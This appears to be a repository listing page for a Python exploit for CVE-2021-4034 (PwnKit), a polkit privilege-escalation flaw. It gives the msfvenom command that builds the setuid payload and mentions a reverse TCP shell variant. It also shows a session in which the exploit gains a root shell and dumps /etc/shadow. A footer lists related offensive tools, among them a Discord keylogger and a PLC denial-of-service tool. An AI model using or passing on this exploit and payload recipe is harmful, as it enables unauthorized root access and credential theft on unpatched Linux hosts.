Python exploit code for CVE-2021-4034 (pwnkit)

Last update: Dec 29, 2022

Overview

Python3 code to exploit CVE-2021-4034 (PWNKIT). This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs.

The default payload starts a shell as root, generated from msfvenom:

msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64

I've tested linux/x64/shell_reverse_tcp as well. Make sure you include the PrependSetuid=true argument to msfvenom, otherwise you'll just get a shell as the user and not root.

The code is cribbed from blasty, the orginal is available here

$ python CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#

Python exploit code for CVE-2021-4034 (pwnkit)

Related tags

Overview

Owner

Joe Ammond

A simple Outline Server Access Key Copy and Paste Web Interface

Quickstart resources for the WiFi Nugget, a cat themed WiFi Security platform for beginners.

Domain abuse scanner covering domainsquatting and phishing keywords.

DependConfusion-X Tool is written in Python3 that scans and monitors list of hosts for Dependency Confusion

An interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers.

😭 WSOB is a python tool created to exploit the new vulnerability on WSO2 assigned as CVE-2022-29464.

Acc-Data-Gen - Allows you to generate a password, e-mail & token for your Minecraft Account

A small utility to deal with malware embedded hashes.

StarUML cracker - StarUML cracker With Python

Crowbar - A windows post exploitation tool

A Proof-of-Concept Layer 2 Denial of Service Attack that disrupts low level operations of Programmable Logic Controllers within industrial environments. Utilizing multithreaded processing, Automator-Terminator delivers a powerful wave of spoofed ethernet packets to a null MAC address.

A piece of software that shows a traceroute of a URL redirect path

CTF framework and exploit development library

Burp Suite extension for encoding/decoding EVM calldata

This repository contains wordlists for each versions of common web applications and content management systems (CMS). Each version contains a wordlist of all the files directories for this version.

FOSSLight Scanner performs open source analysis after downloading the source by passing a link that can be cloned by wget or git.

Discord-keylogger - Discord keylogger With Python

Local server for IDA Lumina feature

BurpSuite Extension: Log4j2 RCE Scanner

POC for detecting the Log4Shell (Log4J RCE) vulnerability.